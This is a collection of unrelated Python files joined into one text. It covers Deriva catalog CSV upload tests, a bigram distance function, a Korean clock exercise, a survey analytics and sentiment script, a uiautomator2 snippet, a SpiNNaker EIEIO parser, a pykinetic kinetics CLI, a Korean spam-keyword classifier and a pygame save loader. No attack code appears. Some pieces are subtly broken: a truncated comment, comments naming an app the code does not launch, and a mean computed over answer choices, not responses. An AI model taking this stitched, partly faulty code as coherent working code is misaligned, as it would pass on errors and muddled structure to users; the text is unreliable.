from unittest import TestCase
import datetime
import os
import csv
import sys
import string
import tempfile
import random
import logging

from tableschema import exceptions
from deriva.utils.catalog.manage.utils import load_module_from_path
from deriva.utils.catalog.manage.deriva_csv import DerivaCSV
import deriva.utils.catalog.manage.dump_catalog as dump_catalog
import deriva.core.ermrest_model as em
from tests.deriva.utils.catalog.test_utils import *

logger = logging.getLogger(__name__)

class TestDerivaCSV(TestCase):
    def setUp(self):
        self.server = 'dev.isrd.isi.edu'
        self.catalog_id = None
        self.schema_name = 'TestSchema'
        self.table_name = 'TestTable'

        self.configfile = os.path.dirname(os.path.realpath(__file__)) + '/config.py'

        self.catalog = create_catalog(self.server)
        self.catalog.create_schema(self.schema_name)

        self.table_size = 1000
        self.column_count = 20
        self.test_dir = tempfile.mkdtemp()

        (row, self.headers) = generate_test_csv(self.column_count)

        self.tablefile = '{}/{}.csv'.format(self.test_dir, self.table_name)
        with open(self.tablefile, 'w', newline='') as f:
            tablewriter = csv.writer(f)
            for i, j in zip(range(self.table_size + 1), row):
                tablewriter.writerow(j)

    def tearDown(self):
        delete_catalog(self.catalog.ermrest_catalog)

    def _create_test_table(self):
        pyfile = '{}/{}.py'.format(self.test_dir, self.table_name)
        try:
            self.table.convert_to_deriva(outfile=pyfile)
            tablescript = load_module_from_path(pyfile)
            tablescript.main(self.catalog, 'table')
        except ValueError as e:
            print(e)

    def test_map_name(self):
        path = os.path.dirname(os.path.realpath(__file__))

        column_map = None
        table = DerivaCSV(path + '/test1.csv', self.schema_name, column_map=column_map)
        self.assertEqual(table.map_name('foo bar'), 'foo bar')

        column_map = False
        table = DerivaCSV(path + '/test1.csv', self.schema_name, column_map=column_map)
        self.assertEqual(table.map_name('foo bar'), 'foo bar')

        column_map = True
        table = DerivaCSV(path + '/test1.csv', self.schema_name, column_map=column_map)
        self.assertEqual(table.map_name('foo bar'), 'Foo_Bar')

        column_map = ['DNA', 'RNA']
        table = DerivaCSV(path + '/test1.csv', self.schema_name, column_map=column_map)
        self.assertEqual(table.map_name('foo bar'), 'Foo_Bar')

        column_map = {'(%)': '(Percent)', 'RnA': 'RNA', 'dna': 'DNA',
                      'the hun': 'Attila_The_Hun', 'the_clown': 'Bozo_The_Clown'}
        table = DerivaCSV(path + '/test1.csv', self.schema_name, column_map=column_map)
        self.assertEqual(table.map_name('Change in value (%)'), 'Change_In_Value_(Percent)')
        self.assertEqual(table.map_name('amountDna'), 'Amount_DNA')
        self.assertEqual(table.map_name('the hun'), 'Attila_The_Hun')
        self.assertEqual(table.map_name('the clown'), 'Bozo_The_Clown')

    def test_convert_to_deriva(self):
        self.table = DerivaCSV(self.tablefile, self.schema_name, key_columns='id', column_map=True)
        self._create_test_table()
        tname = self.table.map_name(self.table_name)

    def test_compound_key(self):
        key_columns = [['id', 'field 1', 'field 2'], 'field 3', ['field 4', 'field 5']]
        self.table = DerivaCSV(self.tablefile, self.schema_name, key_columns=key_columns, column_map=True)
        self.assertEqual(self.table.schema.primary_key,['id', 'field 1', 'field 2'])

        for h in self.table.headers:
            f = self.table.schema.get_field(h)
            self.assertEqual((h in ['id', 'field 1', 'field 2', 'field 3', 'field 4', 'field 5'] and f.required) or
                                not f.required, True, msg='Missing required in field {}'.format(h))
            self.assertEqual((h == 'field 3' and f.descriptor.get('unique', False)) or not \
                            f.descriptor.get('unique', False), True)

        self._create_test_table()

        target_table = self.catalog[self.schema_name][self.table.map_name(self.table_name)]

        catalog_keys = [ sorted([c.name for c in i.columns]) for i in target_table.keys]

        # Check to make sure that each key is set for no nulls...
        for k in self.table._key_columns:
            for col in k:
                self.assertEqual(target_table.columns[self.table.map_name(col)].nullok, False,
                                 msg='nullok not set for {}'.format(col))
            n = [self.table.map_name(i) for i in k]
            n.sort()
            self.assertEqual(n in catalog_keys,True, msg = 'Key missing {}'.format(k))
        # Now check to make sure the key constraints made it....
        for k in target_table.keys:
            print(k.columns)

        return

    def test_table_schema_from_catalog(self):
        self.table = DerivaCSV(self.tablefile, self.schema_name, key_columns='id', column_map=True)
        self._create_test_table()

        tableschema = self.table.table_schema_from_catalog(self.catalog)

        self.assertEqual([self.table.map_name(i['name']) for i in self.table.schema.descriptor['fields']],
                         [i['name'] for i in tableschema.descriptor['fields']])
        self.assertEqual([i['type'] for i in self.table.schema.descriptor['fields']],
                         [i['type'] for i in tableschema.descriptor['fields']])

    def test_table_schema_from_catalog_compound(self):
        self.table = DerivaCSV(self.tablefile, self.schema_name, key_columns=[['id','field 1']], column_map=True)
        self._create_test_table()

        tableschema = self.table.table_schema_from_catalog(self.catalog)

        self.assertEqual([self.table.map_name(i['name']) for i in self.table.schema.descriptor['fields']],
                         [i['name'] for i in tableschema.descriptor['fields']])
        self.assertEqual([i['type'] for i in self.table.schema.descriptor['fields']],
                         [i['type'] for i in tableschema.descriptor['fields']])
        print(tableschema.primary_key)
        self.assertEqual(set(tableschema.primary_key), {'Id', 'Field_1'})

    def test_validate(self):
        self.table = DerivaCSV(self.tablefile, self.schema_name, key_columns='id', column_map=True)
        self._create_test_table()
        self.table.validate(self.catalog)

    def test_upload_to_deriva(self):
        self.table = DerivaCSV(self.tablefile, self.schema_name, key_columns='id', column_map=True)
        self._create_test_table()
        row_count, _ = self.table.upload_to_deriva(self.catalog)
        self.assertEqual(row_count, self.table_size)

        pb = self.catalog.getPathBuilder()
        target_table = pb.schemas[self.schema_name].tables[self.table.map_name(self.table_name)].alias('target_table')
        e = target_table.entities()
        edict = {i['Id']: i for i in e}
        source = self.table.read(keyed=True)
        i = 0
        for k, v in source[i].items():
            id = source[i]['id']
            print(k, edict[id][self.table.map_name(k)], v)

    def test_upload_to_deriva_partial(self):
        self.table = DerivaCSV(self.tablefile, self.schema_name, key_columns='id', column_map=True)
        self._create_test_table()

        # get part of table:
        pfile_name = '{}/{}_partial.csv'.format(self.test_dir, self.table_name)

        with open(self.tablefile, 'r') as wholefile:
            with open(pfile_name, 'w', newline='') as partfile:
                tablereader = csv.reader(wholefile)
                tablewriter = csv.writer(partfile)
                for i in range(self.table_size // 2):
                    tablewriter.writerow(next(tablereader))

        partial_table = DerivaCSV(pfile_name, self.schema_name, table_name=self.table_name, key_columns='id',
                                  column_map=True)
        partial_row_count, _ = partial_table.upload_to_deriva(self.catalog)
        self.assertEqual(partial_row_count, self.table_size // 2 - 1)

        row_count, _ = self.table.upload_to_deriva(self.catalog)

        self.assertEqual(row_count, self.table_size - (self.table_size // 2 - 1))

        pb = self.catalog.getPathBuilder()
        target_table = pb.schemas[self.schema_name].tables[self.table.map_name(self.table_name)].alias('target_table')
        self.assertEqual(len(list(target_table.entities())), self.table_size)

    def test_upload_to_deriva_upload_id(self):
        self.table = DerivaCSV(self.tablefile, self.schema_name, column_map=True, row_number_as_key=True)
        self._create_test_table()
        row_count, upload_id = self.table.upload_to_deriva(self.catalog)
        print(row_count, upload_id)
        self.assertEqual(row_count, self.table_size)

    def test_upload_to_deriva_validate(self):
        self.table = DerivaCSV(self.tablefile, self.schema_name, column_map=True, key_columns='id')
        self._create_test_table()
        valid, report = self.table.validate(self.catalog)
        if not valid:
            for i in report['tables'][0]['errors']:
                print(i)
        self.assertEqual(valid, True)

    def test_upload_to_deriva_validate_id(self):
        self.table = DerivaCSV(self.tablefile, self.schema_name, column_map=True, row_number_as_key=True)
        self._create_test_table()
        try:
            valid, report = self.table.validate(self.catalog)
        except exceptions.ValidationError as err:
            print(err.errors)
        if not valid:
            for i in report['tables'][0]['errors']:
                print(i)
        self.assertEqual(valid, True)

    def test_upload_to_deriva_partial_id(self):
        # get part of table:
        pfile_name = '{}/{}_partial.csv'.format(self.test_dir, self.table_name)

        with open(self.tablefile, 'r') as wholefile:
            with open(pfile_name, 'w', newline='') as partfile:
                tablereader = csv.reader(wholefile)
                tablewriter = csv.writer(partfile)
                for i in range(self.table_size // 2):
                    tablewriter.writerow(next(tablereader))

        self.table = DerivaCSV(self.tablefile, self.schema_name, table_name=self.table_name,
                               row_number_as_key=True, column_map=True)
        partial_table = DerivaCSV(pfile_name, self.schema_name, table_name=self.table_name,
                                  row_number_as_key=True, column_map=True)
        self._create_test_table()

        # Upload first half...
        partial_row_count, partial_upload_id = partial_table.upload_to_deriva(self.catalog)
        self.assertEqual(partial_row_count, self.table_size // 2 - 1)

        # Upload second half....
        row_count, upload_id_1 = self.table.upload_to_deriva(self.catalog, upload_id=partial_upload_id)
        self.assertEqual(row_count, self.table_size - (self.table_size // 2 - 1))

        # Check to see if whole table is there.
        pb = self.catalog.getPathBuilder()
        target_table = pb.schemas[self.schema_name].tables[self.table.map_name(self.table_name)].alias('target_table')
        self.assertEqual(len(list(target_table.entities())), self.table_size)

        # Upload table again, using new upload_id.
        logger.info('Upload table again....')
        row_count, upload_id_1 = self.table.upload_to_deriva(self.catalog)
        self.assertEqual(row_count, self.table_size)

        target_table = pb.schemas[self.schema_name].tables[self.table.map_name(self.table_name)].alias('target_table')
        self.assertEqual(len(list(target_table.entities())), 2 * self.table_size)


def _get_bigrams(s):
    """
    Take a string and return a list of bigrams.
    """
    if s is None:
        return ""

    return [s[i: i + 2] for i in list(range(len(s) - 1))]

def distance(t: str, x: str):
    """
        Perform bigram comparison between two strings
        and return a percentage match in decimal form.
        """
    pairs1 = _get_bigrams(t)
    pairs2 = _get_bigrams(x)
    union = len(pairs1) + len(pairs2)

    if union == 0 or union is None:
        return 0

    hit_count = 0
    for x in pairs1:
        for y in pairs2:
            if x == y:
                hit_count += 1
                break

    similarity = (2.0 * hit_count) / union
    return (1. - similarity) * len(t)


ansH = 0
ansM = 0
h, m = map(int, input().split())  # input은 string으로 받으니까 int로 변환
# m이 45분보다 작은지 큰지를 비교
if(m < 45):
    ansM = 60+(m-45)
    # 작을 때는 h가 0인 경우엔 23으로 설정
    if(h == 0):
        ansH = 23
    else:
        ansH = h-1
if(m >= 45):
    ansM = m-45
    ansH = h
print(ansH, ansM)


'''
Author: Nam Tran
This file contains code for the data analytics module. To run: python data_analytics.py [questions.csv] [answers.csv] [output_path_for_csv_file - optional]
'''

from textblob import TextBlob
import matplotlib.pyplot as plt
import numpy as np
import statistics
import socket
import csv
import sys
import math

plt.rcParams.update({'figure.max_open_warning': 0})

def create_histogram(question_num, distribution_list):
# Input: two lists of student and question distributions
# Return type: N/A
# Function: creates histograms
    answer_list = []
    for index, val in enumerate(distribution_list):
        for i in range(val):
            answer_list.append(index+1)

    num_bins = num_choices
    lower_bound, upper_bound = 1, num_choices+1

    y = np.asarray(answer_list)
    hist, bin_edges = np.histogram(y, num_bins, range=(lower_bound, upper_bound))
    width = bin_edges[1] - bin_edges[0]
    fig = plt.figure()
    plt.bar(bin_edges[:-1], hist, align='center', width=width*0.6, edgecolor='k', facecolor='blue', alpha=0.5)
    plt.xticks(range(num_bins+1))
    plt.yticks(range(max(distribution_list)+1))
    plt.xlim([lower_bound-width/2, upper_bound-width/2])
    plt.title("Question {}".format(question_num))
    plt.xlabel("Choice")
    plt.ylabel("Number of Students Choosing")
    plt.savefig(output_path + "histogram_question_{}".format(question_num)) # saves the figure as a file

def calc_mean(distribution_list):
# Input: a list of student and question distribution
# Return type: float
# Function: returns a mean value
    summation = 0
    for choice, num_responses in enumerate(distribution_list):
        summation+=(choice+1)*num_responses
    return summation/len(distribution_list)

def calc_standard_deviation(distribution_list):
# Input: a list of student and question distribution
# Return type: float
# Function: returns std value

    list_of_responses = []
    for choice, num_responses in enumerate(distribution_list):
        for i in range(num_responses):
            list_of_responses.append(choice+1)

    return round(statistics.stdev(list_of_responses),1)

def calc_median(distribution_list):
# Input: a list of student and question distribution
# Return type: int
# Function: returns median value
    list_of_responses = []
    for choice, num_responses in enumerate(distribution_list):
        for i in range(num_responses):
            list_of_responses.append(choice+1)
    return statistics.median(list_of_responses)

def calc_mode(distribution_list):
# Input: a list of student and question distribution
# Return type: int
# Function: returns mode value
    list_of_responses = []
    for choice, num_responses in enumerate(distribution_list):
        for i in range(num_responses):
            list_of_responses.append(choice+1)

    most = max(list(map(list_of_responses.count, list_of_responses)))
    return list(set(filter(lambda val: list_of_responses.count(val) == most, list_of_responses)))

def write_csv():
# Input: N/A
# Return type: N/A
# Function: writes generated analytical values to a csv file.
    with open(output_path + "analytics.csv", mode = "w", newline = '') as out_file:
        file_writer = csv.writer(out_file, delimiter = ",", quotechar = '"', quoting = csv.QUOTE_MINIMAL)
        file_writer.writerow(["MULTIPLE_CHOICE QUESTION:"])
        file_writer.writerow(["is_multiple_choice","question_number","most_popular_choice","mean","mode","median","standard_deviation"])
        file_writer.writerow(["OPEN_ENDED QUESTION:"])
        file_writer.writerow(["is_open_ended","question_number","percentage_positive_all_students", "percentage_negative_all_students", "percentage_subjective_all_students", "percentage_objective_all_students", "percentage_neutral_all_students"])
        for row_number, row_content in analytics_dict.items():
            file_writer.writerow(row_content)

def numerical_metrics():
# Input: N/A
# Return type: N/A
# Function: generates numerical values for various numerical metrics
    for key, distribution_list in numeric_question_dict.items():
        num_students_most_popular_choice = max(distribution_list)
        most_popular_choice = distribution_list.index(num_students_most_popular_choice) + 1 # the first answer choice starts at 1
        print("For question {}:".format(key)) # included in csv file
        print("- Number of students choosing each numeric choice: {}".format(distribution_list))
        print("- Most chosen numeric choice is {}".format(most_popular_choice)) # included in csv file
        print("- Mean value of numeric response is {}".format(calc_mean(distribution_list))) # included in csv file
        print("- Mode value(s) of numeric response is/are {}".format(calc_mode(distribution_list))) # included in csv file
        print("- Median value of numeric response is {}".format(calc_median(distribution_list))) # included in csv file
        print("- Standard deviation of numeric response is {}".format(calc_standard_deviation(distribution_list))) # included in csv file
        print("------------------------------")
        create_histogram(key, distribution_list)

        analytics_dict[key] = []
        new_row = ["multiple_choice",key, most_popular_choice, calc_mean(distribution_list), calc_mode(distribution_list), calc_median(distribution_list), calc_standard_deviation(distribution_list)]
        analytics_dict[key].extend(new_row)

def sentiment_analysis():
# Input: N/A
# Return type: N/A
# Function: performs sentiment analysis and generates relevant pie charts

    num_positive = 0
    num_negative = 0
    num_objective = 0
    num_subjective = 0
    num_neutral = 0

    num_aggregate_responses = 0

    for key, response_list in student_dict.items():
        print("Performing sentiment analysis on textual responses from student {}".format(key))
        for index, response in enumerate(response_list):
            if not response.isnumeric(): # only perform sentiment analysis on non-numeric responses

                analytics_dict[index+1] = []
                obj = TextBlob(response)
                polarity = round(obj.sentiment.polarity,1) # a value within the range [-1.0,1.0]
                subjectivity = round(obj.sentiment.subjectivity,1) # a value between [0.0,1.0]
                status = []
                num_aggregate_responses+=1

                if polarity == 0 or subjectivity == 0.5:
                    status.append("Neutral")
                    overall_sentiment = "Neutral"
                    num_neutral+=1
                    print("Question {}: {} response".format(index+1, overall_sentiment))
                    textual_question_dict[index+1].append([status[0]])
                else:

                    if polarity > 0:
                        status.append('Positive')
                        num_positive+=1
                    elif polarity < 0:
                        status.append('Negative')
                        num_negative+=1

                    if subjectivity < 0.5:
                        status.append("Objective")
                        num_objective+=1
                    elif subjectivity > 0.5:
                        status.append("Subjective")
                        num_subjective+=1

                    overall_sentiment = "{} and {}".format(status[0], status[1])
                    print("Question {}: {} response".format(index+1, overall_sentiment))
                    textual_question_dict[index+1].append([status[0],status[1]])

        print("------------------------------")

    for question_id, response_sentiment_list in textual_question_dict.items():
        analytics_dict[question_id] = []
        flattened_list = [item for sublist in response_sentiment_list for item in sublist]
        percentage_positive = round((flattened_list.count("Positive")/len(response_sentiment_list))*100, 1)
        percentage_negative = round((flattened_list.count("Negative")/len(response_sentiment_list))*100, 1)
        percentage_objective = round((flattened_list.count("Objective")/len(response_sentiment_list))*100, 1)
        percentage_subjective = round((flattened_list.count("Subjective")/len(response_sentiment_list))*100, 1)
        percentage_neutral = round((flattened_list.count("Neutral")/len(response_sentiment_list))*100, 1)
        new_row = ["open_ended",question_id, percentage_positive, percentage_negative, percentage_subjective, percentage_objective, percentage_neutral]
        analytics_dict[question_id].extend(new_row)

        # pie charts
        labels = 'Subjective', 'Objective'
        sizes = [(flattened_list.count("Subjective")/len(response_sentiment_list))*360, (flattened_list.count("Objective")/len(response_sentiment_list))*360]
        colors = ['gold', 'yellowgreen']
        explode = (0, 0.1)
        subjectivity_chart_per_question = plt.figure()
        plt.pie(sizes, explode=explode, labels=labels, colors=colors, autopct='%1.1f%%', shadow=True, startangle=140)
        plt.axis('equal')
        plt.title("Question {}: Subjectivity Chart for Student Responses".format(question_id))
        plt.savefig(output_path + "subjectivity_chart_question_{}".format(question_id)) # saves the figure as a file

        labels = 'Positive', 'Negative'
        sizes = [(flattened_list.count("Positive")/len(response_sentiment_list))*360, (flattened_list.count("Negative")/len(response_sentiment_list))*360]
        colors = ['gold', 'yellowgreen']
        explode = (0, 0.1)
        polarity_chart_per_question = plt.figure()
        plt.pie(sizes, explode=explode, labels=labels, colors=colors, autopct='%1.1f%%', shadow=True, startangle=140)
        plt.title("Question {}: Polarity Chart for Student Responses".format(question_id))
        plt.axis('equal')
        plt.savefig(output_path + "polarity_chart_question_{}".format(question_id)) # saves the figure as a file

    print("Percentage of positive responses out of textual responses among all students: {:.1f}%".format((num_positive/num_aggregate_responses)*100))
    print("Percentage of negative responses out of textual responses among all students: {:.1f}%".format((num_negative/num_aggregate_responses)*100))
    print("Percentage of objective responses out of textual responses among all students: {:.1f}%".format((num_objective/num_aggregate_responses)*100))
    print("Percentage of subjective responses out of textual responses among all students: {:.1f}%".format((num_subjective/num_aggregate_responses)*100))
    print("Percentage of neutral responses out of textual responses among all students: {:.1f}%".format((num_neutral/num_aggregate_responses)*100))

    # pie charts
    labels = 'Subjective', 'Objective'
    sizes = [(num_subjective/num_aggregate_responses)*360, (num_objective/num_aggregate_responses)*360]
    colors = ['gold', 'yellowgreen']
    explode = (0, 0.1)
    subjectivity_chart = plt.figure()
    plt.pie(sizes, explode=explode, labels=labels, colors=colors, autopct='%1.1f%%', shadow=True, startangle=140)
    plt.axis('equal')
    plt.title("Subjectivity Chart for All Student Textual Responses")
    plt.savefig(output_path + "subjectivity_chart") # saves the figure as a file

    labels = 'Positive', 'Negative'
    sizes = [(num_positive/num_aggregate_responses)*360, (num_negative/num_aggregate_responses)*360]
    colors = ['gold', 'yellowgreen']
    explode = (0, 0.1)
    polarity_chart = plt.figure()
    plt.pie(sizes, explode=explode, labels=labels, colors=colors, autopct='%1.1f%%', shadow=True, startangle=140)
    plt.title('Polarity Chart for All Student Textual Responses')
    plt.axis('equal')
    plt.savefig(output_path + "polarity_chart") # saves the figure as a file

def parse():
# Input: N/A
# Return type: N/A
# Function: parses the raw csv data file.
    global student_count

    with open(questions_file) as csv_file:
        csv_reader = csv.reader(csv_file, delimiter = ',', quotechar ='"', quoting = csv.QUOTE_ALL)
        next(csv_reader) # skip a row
        line_count = 0
        for index, row in enumerate(csv_reader):
            question_type_dict[index+1] = int(row[len(row)-1])

    with open(answers_file) as csv_file:
        csv_reader = csv.reader(csv_file, delimiter = ',', quotechar ='"', quoting = csv.QUOTE_ALL)
        next(csv_reader) # skip a row
        line_count = 0

        for row in csv_reader:
            if line_count % num_questions == 0:
                student_count+=1
                student_dict[student_count] = [] # create an empty list to hold the student's responses
            if question_type_dict[int(row[4])] == 1 or question_type_dict[int(row[4])] == 2:
                student_dict[student_count].append(row[1])
                numeric_question_dict[int(row[4])] = [0]*num_choices
            elif question_type_dict[int(row[4])] == 3: # open-ended question
                student_dict[student_count].append(row[2])
            line_count+=1

        for key, response_list in student_dict.items(): # tally the responses for each numeric question
            for index, response in enumerate(response_list):
                if question_type_dict[index+1] == 1 or question_type_dict[index+1] == 2:
                    numeric_question_dict[index+1][int(response)-1]+=1
                elif question_type_dict[index+1] == 3:
                    textual_question_dict[index+1] = []

def main():
# Input: N/A
# Return type: N/A
# Function: the main function that drives the entire module.
    parse()
    print("Number of multiple choice questions: \n {}".format(list(question_type_dict.values()).count(1) + list(question_type_dict.values()).count(2))) # count number of multiple-choice questions
    print("------------------------------")
    print("Number of open-ended questions: \n {}".format(list(question_type_dict.values()).count(3))) # count number of open-ended questions
    print("------------------------------")
    print("Student count is {}".format(student_count))
    print("------------------------------")
    print("Number of answer choices possible is {}".format(num_choices))
    print("------------------------------")
    numerical_metrics()
    sentiment_analysis()
    write_csv()

question_type_dict = {}
analytics_dict = {} # processed results in the form of a dictionary for output to csv
numeric_question_dict = {} # containing responses for each numeric question
textual_question_dict = {} # containing question ID used as dummy holder for each textual question
student_dict = {} # dictionary containing lists of student responses

num_questions = 20
num_choices = 5
student_count = 0
output_path = ""

questions_file = sys.argv[1]
answers_file = sys.argv[2]
if len(sys.argv) > 3:
    output_path = sys.argv[3]

#hard coded values indicating if this is text or numeric

if __name__ == '__main__':
    main()
    plt.show() # show all the figures


from time import sleep

import uiautomator2 as u2

d = u2.connect()
# d.app_start('com.ba
sess = d.session('com.taobao.idlefish')  # 开始网易云音乐
sess.close()  # 停止网易云音乐
sess.restart()  # 冷启动网易云音乐
# 启动应用程序（如果未运行），如果已运行(跳过启动)
sess = d.session('com.taobao.idlefish', attach=True)  # 则跳过启动
# 如果应用崩溃或退出
sess(text='Music').click()  # 引发SessionBrokenError
# 会话下的其他函数调用也会引发SessionBrokenError


from spinnman.messages.eieio.command_messages import (
    PaddingRequest, EventStopRequest, StopRequests, StartRequests,
    SpinnakerRequestBuffers, HostSendSequencedData, SpinnakerRequestReadData,
    HostDataRead, EIEIOCommandHeader, EIEIOCommandMessage,
    DatabaseConfirmation)
from spinnman.constants import EIEIO_COMMAND_IDS

def read_eieio_command_message(data, offset):
    """ Reads the content of an EIEIO command message and returns an object\
        identifying the command which was contained in the packet, including\
        any parameter, if required by the command

    :param bytes data: data received from the network as a bytestring
    :param int offset: offset at which the parsing operation should start
    :return: an object which inherits from EIEIOCommandMessage which contains
        parsed data received from the network
    :rtype: EIEIOCommandMessage
    """
    command_header = EIEIOCommandHeader.from_bytestring(data, offset)
    command_number = command_header.command

    if command_number == EIEIO_COMMAND_IDS.DATABASE_CONFIRMATION.value:
        return DatabaseConfirmation.from_bytestring(
            command_header, data, offset + 2)
    # Fill in buffer area with padding
    elif command_number == EIEIO_COMMAND_IDS.EVENT_PADDING.value:
        return PaddingRequest()
    # End of all buffers, stop execution
    elif command_number == EIEIO_COMMAND_IDS.EVENT_STOP.value:
        return EventStopRequest()
    # Stop complaining that there is SDRAM free space for buffers
    elif command_number == EIEIO_COMMAND_IDS.STOP_SENDING_REQUESTS.value:
        return StopRequests()
    # Start complaining that there is SDRAM free space for buffers
    elif command_number == EIEIO_COMMAND_IDS.START_SENDING_REQUESTS.value:
        return StartRequests()
    # SpiNNaker requesting new buffers for spike source population
    elif command_number == EIEIO_COMMAND_IDS.SPINNAKER_REQUEST_BUFFERS.value:
        return SpinnakerRequestBuffers.from_bytestring(
            command_header, data, offset + 2)
    # Buffers being sent from host to SpiNNaker
    elif command_number == EIEIO_COMMAND_IDS.HOST_SEND_SEQUENCED_DATA.value:
        return HostSendSequencedData.from_bytestring(
            command_header, data, offset + 2)
    # Buffers available to be read from a buffered out vertex
    elif command_number == EIEIO_COMMAND_IDS.SPINNAKER_REQUEST_READ_DATA.value:
        return SpinnakerRequestReadData.from_bytestring(
            command_header, data, offset + 2)
    # Host confirming data being read form SpiNNaker memory
    elif command_number == EIEIO_COMMAND_IDS.HOST_DATA_READ.value:
        return HostDataRead.from_bytestring(
            command_header, data, offset + 2)
    return EIEIOCommandMessage(command_header, data, offset + 2)


#!/usr/bin/python3
import os
import math
import argparse

from pathlib import Path

from pykinetic.classes import Energy,SimulationParameters,ConvergenceParameters
from pykinetic.writers import CplusplusWriter
import pykinetic.writers as writers
from pykinetic.utils import (BiasedChemicalSystem, write_indexfile,
                              calc_standard_state_correction)
from pykinetic.userinput import populate_chemicalsystem_fromfiles

__version__ = "0.1.0"

WRITERS = {'python':writers.python.Batch,
           'c++':CplusplusWriter}

def create_parser():
    """ Create a Command line argument parser """
    description =""" Creates a python script that contains a
    system of differential equations that represent a Chemical System
    and the tools to solve it numerically"""
    parser = argparse.ArgumentParser(description=description)
    parser.add_argument("compounds",type=Path,
                        help="File with the compounds and Energies")
    parser.add_argument("reactions",type=Path,
                        help="File with the reactions, energies and/or TSs")
    parser.add_argument("outfile", type=Path, help="Output script")
    parser.add_argument("--relative",
                        action='store_true',
                        default=False,
                        help="""Whether the energy in the reactions file is
                        relative to reactants. Otherwise the absolute value of
                        the TS structure is assumed to correspond to the
                        provided energy""")
    parser.add_argument("-I","--IndexFile",
                        action="store_true",
                        default=False,
                        help="""If Enabled creates a txt file named
                        'OutFile'.index with the indices used for reactions,
                        compounds and TSs""",
                        )
    parser.add_argument("-Ir","--indexfile-relative",
                        action="store_true",
                        dest="indexfile_relative",
                        default=False,
                        help="""Enforces relative barriers in the specified
                        default energy unit in the indexfile.""")
    parser.add_argument("-T","--Temperature",
                        nargs=2,
                        metavar=("Temp","Unit"),
                        default=(25.0,'C'),
                        help="Temperature and unit ('C'=Celsius and 'K'=Kelvin)")
    parser.add_argument("--unit",
                        default='kcal/mol',
                        help="""Energy unit used in all the energy values whose
                        unit is not specified""",
                        choices=Energy._units)
    parser.add_argument("--bias",
                        nargs='?',
                        default=0.0,
                        const='Standard State',
                        help="""Applies a bias to all energies. If no argument
                        is provided it applies Standard State correction.
                        Otherwise, uses the specified value """)
    parser.add_argument("--convergence",
                        type=Path,
                        default=None,
                        help="Path to the file with the Convergence parameters")
    parser.add_argument("--simulation",
                        type=Path,
                        default=None,
                        help="Path to the file with the Simulation parameters")
    parser.add_argument("--tail",
                        type=Path,
                        default=None,
                        help="""Path to the non-standard Template for the ending
                         part of the generated script""")
    parser.add_argument("--header",
                        type=Path,
                        default=None,
                        help=""" Path to the non-standard Template for the head
                        of the generated script""")
    parser.add_argument("--writer",
                        choices=['python','c++'],
                        default='python',
                        help="format for the output model")

    return parser
def parse_arguments(parser):
    """ Check the arguments of the parser and prepare them for their use """
    args = parser.parse_args()

    # Read the header if it has been specified
    if args.header is not None:
        with open(args.header) as F:
            txt = F.read()
        args.header = txt
    # Read the tail if it has been specified
    if args.tail is not None:
        with open(args.tail) as F:
            txt = F.read()
        args.tail = txt

    # Handle Temperature
    if args.Temperature[1] == 'C':
        T = float(args.Temperature[0]) + 273.15
    elif args.Temperature[1] == 'K':
        T = float(args.Temperature[0])
    else:
        msg = "Temperature in {} not implemented".format(args.Temperature[1])
        raise NotImplementedError(msg)
    args.Temperature = T

    # Handle bias
    if args.bias == 'Standard State':
        bias = calc_standard_state_correction(T)
        bias.to_unit(args.unit)
    else:
        bias = Energy(args.bias,args.unit)
    args.bias = bias

    # Handle simulation parameters
    if args.simulation is None:
        sim_params = SimulationParameters()
    else:
        sim_params = SimulationParameters.read_from(args.simulation)
    args.simulation = sim_params

    # Handle convergence parameters
    if args.convergence is None:
        conv_params = ConvergenceParameters()
    else:
        conv_params = ConvergenceParameters.read_from(args.convergence)
    args.convergence = conv_params

    if not args.IndexFile and args.indexfile_relative:
        args.IndexFile = True

    return args

def main():
    parser = create_parser()
    args = parse_arguments(parser)
    unit = args.unit
    T = args.Temperature
    # Initialize the Writer
    writer_cls = WRITERS[args.writer]
    writer = writer_cls(conc_var='x',mb_var='dxdt',fun_var='model',
                        jac_var='Jac',jac_fun_var='jacobian',
                        header=args.header,tail=args.tail)
    writer.set_parameters(simulation=args.simulation,
                          convergence=args.convergence)
    # Initialize the ChemicalSystem
    chemsys = BiasedChemicalSystem(bias=args.bias,T=args.Temperature,unit=unit)
    populate_chemicalsystem_fromfiles(chemsys,
                                      file_c=args.compounds,
                                      file_r=args.reactions,
                                      energy_unit=unit,
                                      relativeE=args.relative)
    chemsys.apply_bias()

    data_file_name = f'{args.outfile.stem}.data'
    writer.parameters['out_filename'] = data_file_name
    writer.write(chemsys,args.outfile)

    if args.IndexFile:
        stem = args.outfile.stem
        index_file = args.outfile.parent / f'{stem}.index'
        isrelative = args.indexfile_relative or args.relative
        write_indexfile(chemsys,index_file, isrelative=isrelative)

if __name__ == '__main__':
    main()


import re

def is_spam(message: str) -> bool:
    """
    Determines if a given message is spam.

    :param message: The input message to classify.
    :return: True if the message is spam, False otherwise.
    """

    # Convert message to lowercase for easier comparison
    lower_message = message.lower()

    # Keywords and patterns that indicate spam
    spam_indicators = [
        r"\d{1,2}월",
        r"\d{1,2}일",
        r"\d{1,2}년",
        r"\d{1,2}시",
        r"\d{1,2}분",
        r"\d+만?원",
        r"지긋지긋",
        r"당일출금",
        r"지원금",
        r"비밀번호",
        r"최대[가능가소지금]",
        r"내사진",
        r"미래투자",
        r"토토사이트",
        r"대출진행",
        r"tt\.\w+",
        r"https?://(?:[a-z0-9]|[!#$%&'*+/=?^_`{|}~-])+(?:\d{4}|\d{4}-\d{4})",
        r"특별찬스",
        r"상상플러스",
        r"(?<!,)연락받아랑",
        r"예상가-?격",
        r"주말간"
    ]

    for pattern in spam_indicators:
        if re.search(pattern, lower_message):
            return True

    return False


from pygame import *
from Niveau import *
from Constantes import *
import pickle

class Session ():
    def __init__(self,niveau,difficulte,mode_affichage,mode_minimap,nb_niv_max):
        try:
            fichier = open(sauvegarde,'rb')
            f = pickle.Unpickler(fichier)
            parametres = f.load()
            self.niv_courant = Niveau(parametres[0],parametres[1],parametres[2],parametres[3],None,parametres[4],parametres[5],parametres[6],parametres[7],parametres[8],parametres[9])
            #paramètres pour la réinitialisation
            self.difficulte=self.niv_courant.difficulte
            self.mode_affichage=self.niv_courant.mode_affichage
            self.mode_minimap=self.niv_courant.mode_minimap
            self.recupere = True
        except IOError:
            self.niv_courant = Niveau(niveau,difficulte,mode_affichage,mode_minimap)
            #paramètres pour la réinitialisation
            self.difficulte=difficulte
            self.mode_affichage=mode_affichage
            self.mode_minimap=mode_minimap
            self.recupere = False
        self.joueur = None
        self.tuto_courant = 1
